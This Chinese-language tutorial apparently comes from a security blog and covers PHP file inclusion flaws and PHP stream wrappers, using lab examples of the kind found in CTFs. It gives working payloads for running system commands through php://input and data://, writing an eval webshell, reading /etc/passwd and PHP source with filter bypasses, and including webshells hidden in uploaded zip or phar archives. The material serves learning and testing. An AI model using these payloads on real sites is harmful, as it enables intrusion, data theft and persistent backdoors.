base64 转文件_PHP伪协议与文件包含

PHP伪协议与文件包含

  • PHP伪协议与文件包含

  • php:// 协议

    • php://input

    • php://filter

  • data:// 协议

  • file:// 协议

  • zip://、bzip2://、zlib://协议

    • zip://协议

    • bzip2://协议

    • zlib://协议

  • phar://伪协议

文件包含漏洞(File Inclusion)

文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些文件包含函数利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

文件包含漏洞特征:

  • ?page=a.php
  • ?home=b.html
  • ?file=content

检测方法:

  • ?file=../../../../etc/passwd
  • ?page=file:///etc/passwd
  • ?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt

关于文件包含漏洞的具体详情,我们不再赘述,下面我们来总结一下PHP伪协议在文件包含中的利用。

PHP伪协议与文件包含

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。

首先归纳下常见的文件包含函数:includerequireinclude_oncerequire_oncehighlight_fileshow_sourcereadfilefile_get_contentsfopenfile,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:php://filterphp://inputfile://data://zip://compress.bzip2://compress.zlib://,后续再对每个文件包含函数进一步进行探讨。

环境概要:

PHP.ini:

allow_url_fopen:on  默认开启  该选项用于设置是否允许将URL作为文件处理。该选项为on便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。

allow_url_include:off  默认关闭,该选项为on便是允许 包含 URL 对象文件等。

为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。

php:// 协议

利用条件:

  • allow_url_fopen:不需要开启
  • allow_url_include:仅php://input php://stdin php://memory php://temp需要开启

作用

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取php文件的源码php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了,php://filter在双off的情况下也可以正常使用。

php://input

php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,可以将post请求中的数据作为PHP代码执行。

注意:在enctype="multipart/form-data" 的时候php://input是无效的。

要求PHP.ini:

allow_url_fopen: off或on  // 无要求
allow_url_include: on

用法:?file=php://input 数据利用POST直接传过去。如下测试。

测试代码:

<?php echo file_get_contents($_GET['whoami']);?>

测试结果:

2daf8e6b8944cb3d72c3ae0e849baa9f.png
image-20200815163356474

成功输出了我们POST过去的data数据。

php://input 执行php代码与写入木马

测试代码:

<?php 
    $filename  = $_GET['file'];include($filename);?>

我们构造如下:

http://192.168.1.103/test.php?file=php://input

[POST DATA部分]:
<?php  phpinfo(); ?>

如下,成功执行:

3e7ffe0486e8af9f6dc46e809f3ea1c2.png
image-20200815163848057

命令执行:

我们构造如下:

http://192.168.1.103/test.php?file=php://input

[POST DATA部分]:
<?php  system('ls /'); ?>
6f58aeb443567cc2cf19af1d4c75dcd8.png
image-20200815213804709

若有写入权限,可以写入一句话木马:

http://192.168.1.103/test.php?file=php://input

[POST DATA部分]:
<?php  fputs(fopen('shell.php','w'),'<?php  @eval($_POST[whoami]);?>');?>
65eaa5cefdf72b71ecf00f1c240507f7.png
image-20200815164024699

蚁剑连接成功:

0b6f5ec84d124310d6dde2c82471a4f1.png
image-20200815164139935

php://filter

php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。

php://filter常用于读取php文件的源码php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了,php://filter在allow_url_fopen和allow_url_include双off的情况下也可以正常使用。

要求PHP.ini:

allow_url_fopen: off或on  // 无要求
allow_url_include: off或on  // 无要求

php://filter参数详解:

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数描述
resource=必须项。它指定了你要筛选过滤的数据流。
read=可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔
任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。

可用的过滤器列表:

此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php

字符串过滤器作用
string.rot13等同于str_rot13(),rot13变换
string.toupper等同于strtoupper(),转大写字母
string.tolower等同于strtolower(),转小写字母
string.strip_tags等同于strip_tags(),去除html、PHP语言标签
转换过滤器作用
convert.base64convert.base64-encode & convert.base64-decode分别等同于base64_encode()base64_decode(),base64编码解码
convert.quotedquoted-printable 字符串与 8 为字符串编码解码,有convert.quoted-printable-encode 和 convert.quoted-printable-decode。使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。
convert.iconv.*这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

下面我们来实验用php://filter来读写文件。

测试代码:

<?php 
    $file1 = $_GET['file1'];
    $file2 = $_GET['file2'];
    $txt = $_GET['txt'];  // 写入的内容echo file_get_contents($file1);    // 或者是include($file1);
    file_put_contents($file2,$txt);?>

读取文件

test.php?file1=php://filter/resource=/etc/passwd

test.php?file1=php://filter/read=convert.base64-encode/resource=flag.php    // 专用于读取php文件

测试结果:

869189e1c8778a151ea9844821ef4f89.png
image-20200815170005879

读取php文件:

65e635847b5a8f9e616359a8de8a0607.png
image-20200815170201017

base64解码即可。

在实战中,若是遇上includerequireinclude_oncerequire_oncehighlight_fileshow_sourcereadfilefile_get_contentsfopenfile等文件包含函数,我们可以用php://filter来读取php源码。

写入文件

test.php?file2=php://filter/resource=test1.txt&txt=Thanks Bunny!

test.php?file2=php://filter/write=convert.base64-encode/resource=test2.txt&txt=Thanks Bunny!

分别执行后查看生成的txt文件:

ec3e0a01b59fc25869ce7d3686b751c9.png
image-20200815171035715

如上图写入成功。

php://filter 绕过 convert.base64

convert.base64过滤器

convert.base64-encode & convert.base64-decode分别等同于base64_encode()base64_decode(),base64编码解码。最常见的,不再赘述。

如果base64被过滤了,那我们就可以用下面的那几个convert转换过滤器。

convert.quoted过滤器

这个过滤器用于 quoted-printable 字符串与 8 为字符串的编码解码。

有convert.quoted-printable-encode 和 convert.quoted-printable-decode 这两个。

使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。

quoted_printable_decode() 函数对经过 quoted-printable 编码后的字符串进行解码,返回 8 位的 ASCII 字符串

<?php 
$str = "I=0Alove=0AShanghai!";
echo quoted_printable_decode($str);
?>

// 输出I love Shanghai!

网上用于quoted-printable 编码解码的网址有:

http://www.mxcz.net/tools/quotedprintable.aspx

http://web.chacuo.net/charsetquotedprintable

测试代码:

<?php include($_GET['file']);?>

我们用flag.php来做实验:

b5eb90bbb664028ff48c863689599e10.png
image-20200815171619018

payload:

test.php?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php  
0da602054f1fc7484fcf35b0bf0933a4.png
image-20200815173356834
convert.iconv.*过滤器

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。*使用convert.iconv.过滤器等同于用iconv()函数处理所有的流数据。

convert.iconv.*的使用有两种方法

convert.iconv.. 
或者
convert.iconv./

PHP iconv()函数

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

iconv() — 将字符串按要求的字符编码来转换。

说明

iconv ( string $in_charset , string $out_charset , string $str ) : string

将字符串 str 从 in_charset 转换编码到 out_charset,返回转换后的字符串。

蓝帽杯有一道题,文件包含用php://filter读源码,但是base64和read=都被过滤了,所以我们可以使用convert.iconv。我们将convert.base64-encode改为convert.iconv.utf-8.utf-7,即filename=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=php://filter/read=convert.iconv.utf-8.utf-7/resource=flag.php

// 也就是将utf-8编码转换为utf-7编码
195a10dce17e030b7afebd2da1805209.png
image-20200815174729969

如上图,成功得到flag,其稍作修改即可。

当然,我们也可以用字符串过滤器,如下。

string.rot13(移位编码)

(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据

string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,即传递一个编码过的字符串作为参数,将得到原始字符串。

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=php://filter/read=string.rot13/resource=flag.php

// 也就是将utf-8编码转换为utf-7编码
d25cd3f7668c4b26abc5db0c6925f09c.png
image-20200815180506105

在网上将其rot13解码即可,解码地址:https://www.jisuan.mobi/puzzm6z1B1HH6yXW.html

data:// 协议

数据流封装器,和php://相似都是利用了流的概念,将原本的要include的文件流重定向到了用户可控制的输入流中简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的。

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

要求PHP.ini:

allow_url_fopen: on
allow_url_include: on

用法:

和php伪协议的php://input类似,碰到file_get_contents()可以用;

 <?php  // 打印 “输出" echo file_get_contents($_GET[file]); ?>

payload:

test.php?file=data://text/plain;base64,VGhhbmtzJTIwQnVubnklMjE=
0ccfb9497db5f3bc7bb5eb2c8f3040f7.png
image-20200815202309580

如果遇上include文件包含,还可以造成任意代码执行:

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=data://text/plain,<?php  phpinfo();?>

test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
14d6cd212d1c6aa270d2bd29c17f938e.png
image-20200815202637601
5ba6c25202592c06a318c4fabc6c0b88.png
image-20200815203509516

也可以像一下这种形式:

test.php?file=data:text/plain,<?php  phpinfo()?>
test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
test.php?file=data:,<?php  phpinfo()?>

都是可以的:

f049f377a76ddd68aff94781ed8c5838.png
image-20200815203746759

有权限的话还可以写shell。

data这里还有这样一个好玩的,这是2020蓝帽杯的一个题,有以下一个限制:

3e3cd03ecef0df434afff961fe18f253.png
image-20200807184117327

让我们用GET传一个参数,指向一个文件,如果开文件的内容中不存在php,那么就包含该文件。我们的利用思路当然是让他包含一个php文件。

我们用以下方法绕过,即:

file_get_contents('data:,xx/res');   // 将返回字符串'xx/res' 
include('data:,xx/res');            // 将包含res文件的内容

证明测试如下:

在Web根目录下有一个test.php,还有一个名为data:,xx的目录,里面有一个res文件,res文件的内容为 phpinfo();?>

cf4cb165563442c0a38baa774dc8b1ae.png
image-20200808164538288

访问test.php代码如下:

d9b67bff29f0e9d8ca1dbd55fe6862d5.png
image-20200808164559941

此时,如果我们输入/test.php?page=data:,xx/res

6a8f4be3e384127d15e968c3bd7e9a19.png
image-20200808164713218

如上图将返回字符串'xx/res'。接下来我们把include前的注释去掉,再测试一遍:

561e4071fcb55a3c18517e604353b85d.png
image-20200808165107017

效果可见一斑。利用以上原理,就可以绕过这个限制了。

也就是说,如果data是这种形式:data:,xx/res,且不存在data:,xx目录的话,include和file_get_contents都返回字符串xx/res;如果存在data:,xx目录的话,那么include将包含data:,xx目录里的res文件,造成php代码执行,而file_get_contents则任然只会返回字符串xx/res

file:// 协议

通过file协议可以访问本地文件系统,读取到文件的内容,

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=file:///etc/passwd
0f5a64970d84fb34fed9837b208fe62f.png
image-20200815205507910

但是不能用来读取php文件的源码,且单纯的file://伪协议不配合文件包含漏洞是不能执行文件里的php代码的。

zip://、bzip2://、zlib://协议

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

要求php.ini:

allow_url_fopen: off/on      // 无要求
allow_url_include: off/on    // 无要求

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用。

zip://协议

条件:PHP > =5.3.0,注意在windows下测试要5.3.0

使用方法:

zip://archive.zip#dir/file.txt

zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

# 在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

测试代码:

<?php include($_GET['file']);?>

即先在本地将要执行的PHP代码写好文件名为shell.php,再将shell.txt进行zip压缩,压缩文件名为whoami.zip:

f255ea1de11ad386f378cf4705d0fac8.png
image-20200815210650620

如果可以上传zip文件便直接上传,若不能便将whoami.zip重命名为whoami.jpg后再上传,其他几种压缩格式也可以这样操作。然后,就用zip://协议访问我们上传的whoami.zip(或whoami.jpg)里面的shell.php(适用于有文件上传和文件包含的地方):

payload:

test.php?file=zip:///var/www/html/whoami.zip%23shell.txt
a7f7e9374cbd16ad18d78b4f1c9e5a97.png
image-20200815212307187

bzip2://协议

使用方法:

compress.bzip2://file.bz2

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

test.php?file=compress.bzip2://目录/phpinfo.bz2

即可执行phpinfo。

zlib://协议

使用方法:

compress.zlib://file.gz

压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

test.php?file=compress.zlib://目录/phpinfo.bz2

即可执行phpinfo。

phar://伪协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,不管后缀是什么,都会当做压缩包来解压

用法:?file=phar://压缩包/内部文件 注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

测试代码:

<?php include($_GET['file']);?>

步骤:写一个木马文件shell.txt,然后用zip协议压缩为whoami.zip,然后将后缀改为png等其他格式,上传,然后再用phar伪协议来访问: (和zip://用法类似的)

test.php?file=phar:///var/www/html/whoami.png/shell.txt
ea16eee1f2c9715667c4b503f67519de.png
image-20200815213458198

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/428242.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

redis 登录_Redis集群架构+Dubbo开发框架+SSO单点登录+Nginx+ZooKeeper

Redis集群架构【课程介绍】Redis是现在使用为广泛的NoSQL数据库技术&#xff0c;其自身不仅拥有着良好的操作性能&#xff0c;也被广泛的应用于各种集群架构的数据整合处理之中&#xff0c;而本课程将通过Redis的核心作用&#xff0c;以及单实例redis存在的问题为读者进行分析&…

NopCommerce用.net core重写ef

最近看了NopCommerce源码&#xff0c;用core学习着写了一个项目&#xff0c;修改的地方记录下。项目地址 NopCommerce框架出来好久了。18年的第一季度 懒加载出来后也会全部移动到.net core。那么就更好玩了。 项目内容 模仿部分分层模式引擎机制DI容器EF仓储模式Mapping部分修…

服务器u8系统数据库不存在,用友u8服务器端数据库不装

用友u8服务器端数据库不装 内容精选换一换本章节指导您使用MongoDB客户端&#xff0c;通过弹性云服务器内网方式连接GaussDB(for Mongo)集群实例。操作系统使用场景&#xff1a;弹性云服务器的操作系统以Linux为例&#xff0c;客户端本地使用的计算机系统以Windows为例。目标实…

ie传递给系统调用的数据区域太小_内存区域与内存溢出异常

自动内存管理机制运行时数据区&#xff1a;Java虚拟机定义了在程序执行期间使用的各种运行时数据区域。其中一些数据区域是在Java虚拟机启动时创建的&#xff0c;仅在Java虚拟机退出时销毁。其他数据区域是每个线程所占的空间。线程数据区域是随着线程销毁和创建的。PC 寄存器(…

0010服务器无对应信息,服务器版本对应的内存

服务器版本对应的内存 内容精选换一换硬件要求如表1所示。操作系统要求如表2所示。上表中所需Ubuntu下载地址&#xff1a;服务器1&#xff1a;Ubuntu 18.04.1镜像包、Ubuntu 16.04.4 镜像包。服务器2&#xff1a;Ubuntu 16.04.3 镜像包。在安装操作系统过程中“选择软件列表”时…

idea中连接mysql插入成功数据 在navicat中刷新表格没有数据_MySQL入门简记

1、MySQL和Navicat的安装下载地址&#xff1a;MySQL官方网站 https://dev.mysql.com/downloads双击下载的mysql-installer-community-8.0.17.0 .msi开始安装。需要注意&#xff08;Authentication Method&#xff09;这一步&#xff1a;因为需要使用客户端navicat&#xff0c;在…

for循环数据量太大_中文文本分类roberta大力出奇迹之数据量大的问题

问题描述: 笔者在文本分类场景中使用了robertapooldense的三分类模型。采用预训练模型做项目的时候经常苦于数据太少&#xff0c;模型泛化性差&#xff0c;因此收集了1300W数据。在我尝试暴力出奇迹的时候&#xff0c;遇到了部分问题&#xff0c;在此记录一下。一. 数据预处理时…

future.cancel不能关闭线程_彻底弄懂线程池-newFixedThreadPool实现线程池

public class ExecutorServiceTest {public static void main(String[] args) throws IOException, InterruptedException {// 创建一个固定大小的线程池ExecutorService service Executors.newFixedThreadPool(3);for (int i 0; i < 10; i) {System.out.println("创…

Spring实战(十三)Spring事务

1、什么是事务&#xff08;Transaction&#xff09;&#xff1f; 事务是指逻辑上的一组操作&#xff0c;要么全部成功&#xff0c;要么全部失败。 事务是指将一系列数据操作捆绑成为一个整体进行统一管理。如果某一事务执行成功&#xff0c;则该事务中进行的所有数据更改均会提…

解密SVM系列(二):SVM的理论基础(转载)

解密SVM系列&#xff08;二&#xff09;&#xff1a;SVM的理论基础 原文博主讲解地太好了 收藏下 解密SVM系列&#xff08;三&#xff09;&#xff1a;SMO算法原理与实战求解 支持向量机通俗导论&#xff08;理解SVM的三层境界&#xff09; 上节我们探讨了关于拉格朗日乘子…

cout输出数组_让程序从1开始一直执行++操作,10秒钟能输出最大的数是多少

问题描述如果写一段代码&#xff0c;让程序从 1 开始一直执行 操作&#xff0c;在规定的 10s 钟内&#xff0c;你能输出的最大数是多少&#xff1f;并将它打印到屏幕上。乍一看&#xff0c;你会觉得它是一道算法题&#xff0c;再细想&#xff1a;不对&#xff01;这可能是一道…

微信公众号管理

微信公众号图文编辑 在新建图文时&#xff0c;如果有想插入的视频&#xff0c;可以采取获取视频链接再导入的方法&#xff0c;这样会更高效美观。 摘要和多个图文信息的重叠 新建图文信息&#xff0c;在设置封面旁边有图文摘要&#xff0c;图文摘要会在发送出去的界面旁边有显…

页面模板

找了半天的公众号模板&#xff0c;有点坑&#xff0c;微信公众号更新太快了&#xff0c;几个月不看都找不到使用功能了。 页面模板位置 页面模板在现在的话题专辑&#xff0c;如图: 在页面排版中可以实现我一直想要的菜单整理化功能 可以将文章整理后&#xff0c;发布在菜单…

SQL语句输出

select ,print均可以做输出 但如果想用print同时输出字符串和数字时&#xff0c;就需要遇到转换函数convert: declare allstudents int e.g.print’毕业人数为’convert(char,allstudents) 在执行时可能会遇到结果中显示了你的输出信息&#xff0c;而在消息中却没有&#xff0…

.NET面试题解析(04)-类型、方法与继承

转自:http://www.cnblogs.com/anding/p/5248973.html 常见面试题目: 1. 所有类型都继承System.Object吗&#xff1f; 2. 解释virtual、sealed、override和abstract的区别 3. 接口和类有什么异同&#xff1f; 4. 抽象类和接口有什么区别&#xff1f;使用时有什么需要注意的吗&a…

初学python的format之美

初学python的format之美 *区别于C语言的输出语句的是python的输出用的是"print"而不是“printf”。 1.简单的字符串和变量一起输出 python中的替代使用的是“{}” nameinput("请输入一个人的名字") countryinput("请输入一个国家的名字") prin…

20.链式队列

运行截图: 完整代码: 1 #include <stdio.h>2 #include <stdlib.h>3 4 #define datatype int5 6 typedef struct queue7 {8 datatype data;9 struct queue *pNext; 10 }Queue,*PQueue; 11 12 //入队 从尾部入,从头部出 13 PQueue enq(PQueue phead, dataty…

1到n阶乘算法的改进

1到n阶乘算法的改进 之前用到过好几次了&#xff0c;但总是很长时间不用就会忘了&#xff0c;所以这次直接把它扔进来了。 之前总是喜欢用双层循环&#xff0c;其实一个单层循环足以&#xff0c;下面将用Python和C两种语言进行展示 C&#xff1a; #include<iostream> …

lua 调用文件中的函数调用_深入Lua:调用相关的指令

前言这一节我们来深入解析与调用相关的指令&#xff0c;这些指令是&#xff1a;OP_CALL 调用OP_TAILCALL 尾调用OP_VARARG 可变参数OP_RETURN 返回解析这些指令的过程中&#xff0c;最重要的是时刻跟踪栈的变化情况。简单调用OP_CALL 的语法是&#xff1a;R(A), ... ,R(AC-2) :…

算法基础——列表查找

whats the 算法 算法&#xff08;Algorithm&#xff09;是指解题方案的准确而完整的描述&#xff0c;是一系列解决问题的清晰指令&#xff0c;算法代表着用系统的方法描述解决问题的策略机制。也就是说&#xff0c;能够对一定规范的输入&#xff0c;在有限时间内获得所要求的输…